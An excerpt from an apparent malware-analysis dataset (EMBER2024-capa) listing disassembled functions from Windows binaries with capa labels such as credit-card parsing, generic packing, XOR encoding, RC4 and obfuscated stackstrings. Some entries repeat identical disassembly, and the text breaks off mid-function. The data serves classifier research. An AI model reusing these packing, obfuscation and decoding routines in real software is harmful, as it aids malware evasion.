joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432d2f
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push edx
call 0x432c1f
add byte [esi + 0x3a], cl
aas
xor cl, byte [ecx + 0x43]
add esp, 4
pop edx
push ebx
call 0x432c32
add byte [edx + esi], bh
xor al, 0x42
xor esi, dword ss:[edx]
inc edx
add esp, 4
xor ebx, 0x12fa6
pop ebx
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
ret 0x644b
inc esp
imul eax, dword [ebp - 0xfac], 0x138
push esp
invalid
invalid
invalid
cmp byte [ecx], al
add byte [eax], al
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
add byte [eax], al
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push edi
push ebx
add esp, 4
xor edi, 0xd7be
jmp method.CAboutDlg.virtual_304
sub edi, 0x615f
call 0x432c9d
add byte [esi + 0x35], cl
inc eax
inc ecx
inc esi
dec ecx
dec ecx
dec esp
xor al, byte [ebx + 0x505f04c4]
or eax, 0xb3a4
add byte [eax - 0x39], bl
inc ebp
lock add dword [eax], eax
add byte [eax], al
push ebx
push ebx
add esp, 4
or ebx, 0xcfd1
or ebx, 0xe043
sub ebx, 0x165f7
pop ebx
push esi
push ebx
add esp, 4
and esi, 0x4b75
add esi, 0x16be2
pop esi
push edx
xor edx, 0xb9d9
pop edx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push ecx
push ebx
add esp, 4
and ecx, 0x154ea
sub ecx, 0x7904
call 0x432d2f
add byte [ecx], bh
cmp bh, byte [ebx]
dec ebx
dec ebp
xor edi, dword [ebx]
dec esi
push eax
add esp, 4
jmp 0x432d37
pop ecx
push esi
or esi, 0xfecb
pop esi
push ebx
push ebx
add esp, 4
xor ebx, 0x15212
jmp 0x432d53
xor ebx, 0x178b5
jmp 0x432d5f
pop ebx
push ecx
push ecx
add esp, 4
sub ecx, 0xa543
sub ecx, 0x3227
pop ecx
mov dword [ebp - 0x2c], 1
push edx
push ebx
add esp, 4
sub edx, 0x5276
pop edx
push edx
push ecx
add esp, 4
sub edx, 0x5b25
and edx, 0x6074
pop edx
push edi
or edi, 0xd9ee
sub edi, 0x9649
and edi, 0x141c3
pop edi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x432f8c
Function at 0x436122
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
add esp, 4
or edx, 0x2fba
pop edx
push ecx
push esi
add esp, 4
xor ecx, 0x89ee
int1
out dx, al
mov dword [eax], eax
invalid
pop ecx
Function at 0x4373d9
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub edi, 0x4483
and edi, 0x1d4e
and edi, 0x14075
pop edi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x43741b
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x4371d1
mov dword [ebp - 0x6ec], 0
Function at 0x4374c9
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push esi
push esi
add esp, 4
jmp 0x4374bc
call 0x4374c9
add byte [ecx + 0x50], al
dec eax
inc eax
inc ebx
dec esp
cmp byte [ebx - 0x317efb3c], al
wait
push ds
add byte [eax], al
pop esi
invalid
invalid
invalid
Function at 0x4387a8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
add ebx, 0x9c4b
pop ebx
push ecx
push edx
add esp, 4
sub ecx, 0x4f7f
or ecx, 0x136cb
jmp 0x43879b
call 0x4387a8
add byte [ebx + 0x35], cl
xor eax, dword [eax + 0x32]
cmp ecx, dword [edi - 0x7d]
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov eax, dword [edx]
mov eax, dword [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
jmp 0x43880c
pop edi
push edx
push edx
add esp, 4
jmp 0x438819
call 0x438825
add byte [edx + esi + 0x35], cl
dec ebp
cmp al, 0x45
add esp, 4
and edx, 0x453a
or edx, 0x239
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x438852
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4388ac
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x43877a
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x43877a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x438896
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4388a0
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x4388f5
push edi
push eax
add esp, 4
and edi, 0x7635
and edi, 0x10c79
add edi, 0x6d97
add edi, 0xbb6a
pop edi
push esi
push edi
add esp, 4
and esi, 0x8c02
pop esi
push esi
xor esi, 0x463f
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x43895d
push esi
xor esi, 0xb3e0
jmp 0x438903
pop esi
push eax
call 0x438911
add byte [esi + 0x33], al
dec esp
dec edi
inc edi
dec ebx
add esp, 4
jmp 0x43891b
or eax, 0x1377c
jmp 0x438926
pop eax
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x438953
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x43871e
mov dword [ebp - 0x710], 0
Function at 0x4387b3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
add ebx, 0x9c4b
pop ebx
push ecx
push edx
add esp, 4
sub ecx, 0x4f7f
or ecx, 0x136cb
jmp 0x43879b
call 0x4387a8
add byte [ebx + 0x35], cl
xor eax, dword [eax + 0x32]
cmp ecx, dword [edi - 0x7d]
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov eax, dword [edx]
mov eax, dword [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
jmp 0x43880c
pop edi
push edx
push edx
add esp, 4
jmp 0x438819
call 0x438825
add byte [edx + esi + 0x35], cl
dec ebp
cmp al, 0x45
add esp, 4
and edx, 0x453a
or edx, 0x239
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x438852
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4388ac
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x43877a
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x43877a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x438896
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4388a0
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x4388f5
push edi
push eax
add esp, 4
and edi, 0x7635
and edi, 0x10c79
add edi, 0x6d97
add edi, 0xbb6a
pop edi
push esi
push edi
add esp, 4
and esi, 0x8c02
pop esi
push esi
xor esi, 0x463f
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x43895d
push esi
xor esi, 0xb3e0
jmp 0x438903
pop esi
push eax
call 0x438911
add byte [esi + 0x33], al
dec esp
dec edi
inc edi
dec ebx
add esp, 4
jmp 0x43891b
or eax, 0x1377c
jmp 0x438926
pop eax
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x438953
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x43871e
mov dword [ebp - 0x710], 0
Function at 0x438825
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
add ebx, 0x9c4b
pop ebx
push ecx
push edx
add esp, 4
sub ecx, 0x4f7f
or ecx, 0x136cb
jmp 0x43879b
call 0x4387a8
add byte [ebx + 0x35], cl
xor eax, dword [eax + 0x32]
cmp ecx, dword [edi - 0x7d]
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov eax, dword [edx]
mov eax, dword [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
jmp 0x43880c
pop edi
push edx
push edx
add esp, 4
jmp 0x438819
call 0x438825
add byte [edx + esi + 0x35], cl
dec ebp
cmp al, 0x45
add esp, 4
and edx, 0x453a
or edx, 0x239
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x438852
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4388ac
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x43877a
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x43877a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x438896
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4388a0
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x4388f5
push edi
push eax
add esp, 4
and edi, 0x7635
and edi, 0x10c79
add edi, 0x6d97
add edi, 0xbb6a
pop edi
push esi
push edi
add esp, 4
and esi, 0x8c02
pop esi
push esi
xor esi, 0x463f
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x43895d
push esi
xor esi, 0xb3e0
jmp 0x438903
pop esi
push eax
call 0x438911
add byte [esi + 0x33], al
dec esp
dec edi
inc edi
dec ebx
add esp, 4
jmp 0x43891b
or eax, 0x1377c
jmp 0x438926
pop eax
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x438953
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x43871e
mov dword [ebp - 0x710], 0
Function at 0x438911
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
add ebx, 0x9c4b
pop ebx
push ecx
push edx
add esp, 4
sub ecx, 0x4f7f
or ecx, 0x136cb
jmp 0x43879b
call 0x4387a8
add byte [ebx + 0x35], cl
xor eax, dword [eax + 0x32]
cmp ecx, dword [edi - 0x7d]
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov eax, dword [edx]
mov eax, dword [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
jmp 0x43880c
pop edi
push edx
push edx
add esp, 4
jmp 0x438819
call 0x438825
add byte [edx + esi + 0x35], cl
dec ebp
cmp al, 0x45
add esp, 4
and edx, 0x453a
or edx, 0x239
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x438852
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4388ac
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x43877a
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x43877a
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x438896
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4388a0
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x4388f5
push edi
push eax
add esp, 4
and edi, 0x7635
and edi, 0x10c79
add edi, 0x6d97
add edi, 0xbb6a
pop edi
push esi
push edi
add esp, 4
and esi, 0x8c02
pop esi
push esi
xor esi, 0x463f
pop esi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x43895d
push esi
xor esi, 0xb3e0
jmp 0x438903
pop esi
push eax
call 0x438911
add byte [esi + 0x33], al
dec esp
dec edi
inc edi
dec ebx
add esp, 4
jmp 0x43891b
or eax, 0x1377c
jmp 0x438926
pop eax
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x438953
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x43871e
mov dword [ebp - 0x710], 0

Function at 0x438af9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x438b23
Function at 0x439db8
Capabilities:
Encode data using xor

Disassembly:
pop es
test cl, dh
fnstsw word [esi]
add eax, dword [ebx]
popal
pop ecx
jmp 0x439d73
add edi, dword [ecx]
cmp eax, dword [eax + 0x3c]
aas
inc eax
dec esi
inc eax
xchg bh, al
pop es
test cl, bh
pushal
aas
add eax, dword [ebx]
popal
leave
mov byte [ebx - 7], ch
add al, byte [edx]
dec edx
leave
mov byte [ecx + edi*8 + 2], ch
add ch, byte [eax - 0x37]
mov byte [ebp - 7], ch
add al, byte [edx]
ja 0x439d5c
mov byte [esi - 7], ch
add al, byte [edx]
push eax
leave
mov byte [edi - 7], ch
outsd dx, dword [esi]
stc
add al, byte [edx]
jb 0x439d6a
mov byte [eax - 7], dh
add al, byte [edx]
leave
mov byte [ecx - 7], dh
add al, byte [edx]
js 0x439d78
mov byte [edx - 7], dh
add al, byte [edx]
outsd dx, dword [esi]
leave
mov byte [ebx - 7], dh
stc
stc
add al, byte [edx]
push 0xf97488c9
je 0x439db9
add al, byte [edx]
dec ebx
leave
mov byte [ebp - 7], dh
add al, byte [edx]
leave
mov byte [esi - 7], dh
add al, byte [edx]
jno 0x439d9b
mov byte [edi - 7], dh
add al, byte [edx]
leave
mov byte [eax - 7], bh
add al, byte [edx]
outsd dx, dword [esi]
leave
mov byte [ecx - 7], bh
add al, byte [edx]
push 0xf97a88c9
add al, byte [edx]
dec eax
leave
mov byte [ebx - 7], bh
add al, byte [edx]
jnp 0x439dbe
mov byte [ecx + edi*8 + 2], bh
add bl, byte [edx - 0x37]
mov byte [ebp - 7], bh
add al, byte [edx]
add ecx, edx
mov byte [edi - 7], ah
add al, byte [edx]
add eax, dword [ebx]
add eax, dword [ebx]
mov cs, word [eax + 0x202e34f]
mov word [eax + 0x202f8af], cs
push esp
test ah, dh
jno 0x439e82
add eax, dword [ebx]
pop esp
push esp
push ebx
xchg bh, al
pop es
test ah, dh
xlatb
add al, 3
jmp 0x439e3a
xchg bh, al
pop es
test ah, cl
mov esi, 0x840303df
les edi, [esi + 0x5c030347]
mov ss, word [bx + si]
sbb eax, dword [ebx]
add eax, dword [ebx]
mov word [eax + 0x202e9df], ss
mov ds, word [eax + 0x202e9df]
mov es, word [ebp + 0x33]
mov word [eax + 0x202e9db], cs
mov ss, word [eax + 0x202e9db]
mov word [eax + 0x202ed73], ss
pop ecx
jmp 0x439e80
xchg bh, al
pop es
test cl, dh
nop
fadd qword [ebx]
add esp, dword [ecx + 0x55]
out dx, al
pop es
push eax
dec ebp
dec ebx
cmp al, 0xee
push es
push eax
inc esp
xor eax, 0x3f4d08ee
cmp byte [ebx + ecx*2], bh
out dx, al
pop es
cmp eax, 0x5d434b40
xchg al, al
jae 0x439e95
add al, byte [edx]
add edi, dword [eax + 0x12]
retf 0x4788
Function at 0x45eb60
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00451f22
and dword [ebp - 4], 0
cmp dword [0x487cf8], 0
mov ebx, eax
jne 0x45ec11
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x45ecc2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x45ecc2
push eax
call fcn.00451eb0
mov dword [esp], 0x475124
push edi
mov dword [0x487cf8], eax
call esi
push eax
call fcn.00451eb0
mov dword [esp], 0x475110
push edi
mov dword [0x487cfc], eax
call esi
push eax
call fcn.00451eb0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x487d00], eax
call esi
push eax
call fcn.00451eb0
pop ecx
mov dword [0x487d08], eax
test eax, eax
je 0x45ec11
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00451eb0
pop ecx
mov dword [0x487d04], eax
mov eax, dword [0x487d04]
cmp eax, ebx
je 0x45ec69
cmp dword [0x487d08], ebx
je 0x45ec69
push eax
call fcn.00451f2b
push dword [0x487d08]
mov esi, eax
call fcn.00451f2b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45ec69
test edi, edi
je 0x45ec69
call esi
test eax, eax
je 0x45ec60
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x45ec60
test byte [ebp - 0xc], 1
jne 0x45ec69
or dword [ebp + 0x10], 0x200000
jmp 0x45eca2
mov eax, dword [0x487cfc]
cmp eax, ebx
je 0x45eca2
push eax
call fcn.00451f2b
pop ecx
test eax, eax
je 0x45eca2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x45eca2
mov eax, dword [0x487d00]
cmp eax, ebx
je 0x45eca2
push eax
call fcn.00451f2b
pop ecx
test eax, eax
je 0x45eca2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x487cf8]
call fcn.00451f2b
pop ecx
test eax, eax
je 0x45ecc2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x45ecc4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42ce20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.VSP1
lea edi, [esi - 0x22000]
push edi
or ebp, 0xffffffff
jmp 0x42ce42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42ce49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42ce38
mov eax, 1
add ebx, ebx
jne 0x42ce5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42ce50
jne 0x42ce6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42ce50
xor ecx, ecx
sub eax, 3
jb 0x42ce80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42cef2
mov ebp, eax
add ebx, ebx
jne 0x42ce8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42ce98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42cebc
inc ecx
add ebx, ebx
jne 0x42cea8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42ce9d
jne 0x42ceb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42ce9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42cedc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42cecd
jmp 0x42ce3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42cedc
add edi, ecx
jmp 0x42ce3e
pop esi
mov edi, esi
mov ecx, 0x916
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42cefa
cmp byte [edi], 0xa
jne 0x42cefa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x42ceff
lea edi, [esi + 0x29000]
mov eax, dword [edi]
or eax, eax
je 0x42cf77
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x33d14]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x33e40]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42cf2c
mov ecx, edi
jns 0x42cf5b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x33e44]
or eax, eax
je 0x42cf71
mov dword [ebx], eax
add ebx, 4
jmp 0x42cf49
call dword [esi + 0x33e54]
mov ebp, dword [esi + 0x33e48]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42cfab
sub esp, 0xffffff80
jmp 0x41a95e
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x10001ec0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], ecx
push 2
push 0
push 0x10001d60
mov ecx, dword [0x1006b360]
call fcn.10027240
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10001fcd
mov byte [ebp - 0x34], 0x45
mov byte [ebp - 0x33], 0x52
mov byte [ebp - 0x32], 0x52
mov byte [ebp - 0x31], 0x4f
mov byte [ebp - 0x30], 0x52
mov byte [ebp - 0x2f], 0x21
mov byte [ebp - 0x2e], 0x20
mov byte [ebp - 0x2d], 0x54
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x64
mov byte [ebp - 0x27], 0x20
mov byte [ebp - 0x26], 0x63
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x6f
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x20
mov byte [ebp - 0x1d], 0x66
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x2c
mov byte [ebp - 0x16], 0x20
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x14], 0x68
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x43
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x20
mov byte [ebp - 9], 0x30
mov byte [ebp - 8], 0x78
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x21
mov byte [ebp - 5], 0
mov ecx, dword [0x1006a830]
call fcn.10001480
push eax
push 0
lea eax, [ebp - 0x34]
push eax
push 0
lea ecx, [ebp - 0x34]
push ecx
mov ecx, dword [0x1006a834]
call fcn.10011160
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10003000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 5
mov dword [ebp - 8], 0
jmp 0x10003022
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x33
jge 0x10003061
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x779227d4]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000305c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10003019
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x33], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10003080
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 7
mov dword [ebp - 8], 0
jmp 0x100030a2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2b
jge 0x100030e1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x6fff3f68]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x100030dc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10003099
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x2b], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10003100
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x16
mov dword [ebp - 8], 0
jmp 0x10003122
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2b
jge 0x10003161
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
